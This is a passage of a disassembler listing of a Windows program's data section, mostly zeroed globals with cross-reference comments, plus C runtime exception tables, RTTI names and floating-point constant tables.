		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D4C0	dd 3			; DATA XREF: ___:0042354Fr
					; sub_425C06+C8r
dword_43D4C4	dd 7			; DATA XREF: ___:00423555r
					; sub_425C06+CDr
dword_43D4C8	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D4CC	dd 8Ch			; DATA XREF: ___:00423579r
					; ___:00423586w ...
dword_43D4D0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D4D8	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D4DC	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
		dd 0FFh, 427940h
off_43D568	dd offset dword_4DC020	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC020
		dd 101h
dword_43D578	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D588	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D7E8	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D7F0	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D7F8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D810	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D988	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4	dd offset off_427CEC	; DATA XREF: ___:00427EC4o
					; ___:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DAFC	dd offset off_427CEC	; DATA XREF: ___:off_427D78o
					; ___:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB1C	dd offset off_427CEC	; DATA XREF: ___:off_427DC0o
					; ___:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB3C	dd offset off_427CEC	; DATA XREF: ___:off_427E0Co
					; ___:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DB60	dd offset off_427CEC	; DATA XREF: ___:off_427E58o
					; ___:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DB80	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DB88	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
		align 10h
dword_43DB90	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBA8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E710	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E910	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E914	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E918	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E91C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E920	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E924	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E928	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1B89h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043492Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:004385C0o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_43902Co
dword_457444	dd 0E306h dup(0)
dword_49005C	dd 937Eh dup(0)		; DATA XREF: ___:off_432948o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43165Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438E98o
		dd 5932h dup(0)
dword_4CB710	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB714	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_404494r ...
dword_4CB718	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB71C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB79C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB7DC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB86C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB870	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB880	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB884	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB888	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8A2r
word_4CB88C	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; ___:0040AFA9o ...
		align 10h
dword_4CB890	dd 0			; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB894	dd 0			; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB898	dd 0			; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB89C	dd 0			; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8A0	dd 0			; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8A4	dd 0			; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8A8	dd 0			; DATA XREF: sub_409909+213w
					; sub_409909+234r
dword_4CB8AC	dd 0			; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB8B0	dd 0			; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB8B4	dd 0			; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB8B8	dd 0			; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB8BC	dd 0			; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB8C0	dd 0			; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB8C4	dd 0			; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB8C8	dd 0			; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB8CC	dd 0			; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB8D0	dd 0			; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB8D4	dd 0			; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB8D8	dd 0			; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB8DC	dd 0			; DATA XREF: sub_409909+B3w
dword_4CB8E0	dd 0			; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB8E4	dd 0			; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB8E8	dd 0			; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB8EC	dd 0			; DATA XREF: sub_409909+934w
dword_4CB8F0	dd 0			; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB8F4	dd 0			; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB8F8	dd 0			; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB8FC	dd 0			; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r
dword_4CB900	dd 0			; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB904	dd 0			; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB908	dd 0			; DATA XREF: sub_409909+A0Cw
dword_4CB90C	dd 0			; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB910	dd 0			; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB914	dd 0			; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB918	dd 0			; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB91C	dd 0			; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB920	dd 0			; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB924	dd 0			; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB928	dd 0			; DATA XREF: sub_409909+6ACw
					; ___:00411290r
dword_4CB92C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB930	dd 0			; DATA XREF: sub_409909+4B4w
dword_4CB934	dd 0			; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB938	dd 0			; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB93C	dd 0			; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB940	dd 0			; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB944	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5037r ...
dword_4CB948	dd 0			; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB94C	dd 0			; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB950	dd 0			; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB954	dd 0			; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB958	dd 0			; DATA XREF: sub_409909+22Dw
dword_4CB95C	dd 0			; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er
dword_4CB960	dd 0			; DATA XREF: sub_409909+C28w
dword_4CB964	dd 0			; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB968	dd 0			; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB96C	dd 0			; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB970	dd 0			; DATA XREF: sub_409909+220w
					; sub_409909+23Cr
dword_4CB974	dd 0			; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB978	dd 0			; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB97C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB980	dd 0			; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB984	dd 0			; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB988	dd 0			; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB98C	dd 0			; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB990	dd 0			; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB994	dd 0			; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB998	dd 0			; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB99C	dd 0			; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9A0	dd 0			; DATA XREF: sub_409909+206w
					; sub_409909+227r
dword_4CB9A4	dd 0			; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9A8	dd 0			; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9AC	dd 0			; DATA XREF: sub_409909+624w
					; sub_409909+774r
dword_4CB9B0	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CB9B4	dd 0			; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CB9B8	dd 0			; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CB9BC	dd 0			; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CB9C0	dd 0			; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CB9C4	dd 0			; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CB9C8	dd 0			; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CB9CC	dd 0			; DATA XREF: sub_409909+AA2w
dword_4CB9D0	dd 0			; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CB9D4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CB9D8	dd 0			; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CB9DC	dd 0			; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CB9E0	dd 0			; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CB9E4	dd 0			; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CB9E8	dd 0			; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CB9EC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CB9F0	dd 0			; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CB9F4	dd 0			; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CB9F8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CB9FC	dd 0			; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA00	dd 0			; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA04	dd 0			; DATA XREF: sub_409909+C92w
dword_4CBA08	dd 0			; DATA XREF: sub_409909+879w
					; ___:00416C7Cr ...
dword_4CBA0C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA10	dd 0			; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA14	dd 0			; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA18	dd 0			; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA1C	dd 0			; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA20	dd 0			; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA24	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA28	dd 0			; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA2C	dd 0			; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA30	dd 0			; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA34	dd 0			; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA38	dd 0			; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA3C	dd 0			; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA40	dd 0			; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA44	dd 0			; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA48	dd 0			; DATA XREF: sub_409909+BAAw
dword_4CBA4C	dd 0			; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBA50	dd 0			; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBA54	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBA58	dd 0			; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBA5C	dd 0			; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBA60	dd 0			; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBA64	dd 0			; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBA68	dd 0			; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBA6C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBA70	dd 0			; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBA74	dd 0			; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBA78	dd 0			; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBA7C	dd 0			; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBA80	dd 0			; DATA XREF: ___:00401273r
					; sub_409909+31w ...
dword_4CBA84	dd 0			; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBA8C	dd 0			; DATA XREF: sub_409909+927w
					; sub_409909+93Br
dword_4CBA90	dd 0			; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBA94	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBA98	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBA9C	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAA0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAA4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4468r ...
dword_4CBAA8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBAAC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBAB0	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBAB4	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBABC	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBAC4	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBACC	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBAD0	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBAD4	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBAD8	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBADC	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBAF4	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB00	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB04	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB18	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB20	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB24	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C3E8+2F1w ...
dword_4CBB28	dd 7FEh	dup(0)
dword_4CDB20	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB38	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
dword_4CDB3C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB40	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB44	dd 0			; DATA XREF: sub_40BD91+2B9w
					; sub_40BD91:loc_40C0A6r
dword_4CDB48	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDBC8	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDBD0	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDBD8	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDBDC	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDCE0	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDDE4	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDDE8	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDDEC	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDDF0	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDE70	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDE74	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDE78	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDE80	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDE84	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDF88	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE08C	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE090	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE094	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE098	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE118	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE11C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE120	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
dword_4CE128	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE12C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE3B4	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE4C0	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE4C4	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE4C8	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE4CC	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE4D4	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE4DC	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r
dword_4CE4E0	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r
dword_4CE4E4	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE6EC	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE6F4	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8	dd 0			; DATA XREF: ___:0040EEF0r
		dd 0
		dd 0
dword_4CE704	dd 0			; DATA XREF: ___:0040EEC3r
dword_4CE708	dd 0			; DATA XREF: ___:0040EEA5r
					; ___:0040EF0Er
		align 10h
dword_4CE710	dd 0			; DATA XREF: sub_40BD91+2AEr
		align 8
dword_4CE718	dd 0			; DATA XREF: sub_40BA49+1Cr
dword_4CE71C	dd 0			; DATA XREF: ___:0040F9E9w
					; ___:0040FA10r ...
		dd 3 dup(0)
dword_4CE72C	dd 0			; DATA XREF: ___:00411306r
		dd 0
dword_4CE734	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		dd 10Ah	dup(0)
dword_4CEB60	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo
dword_4CF180	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		dd 11Ch	dup(0)
dword_4CF5F4	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D35F4	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
dword_4D35F8	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
dword_4D3630	dd 80h dup(0)		; DATA XREF: sub_417990+41o
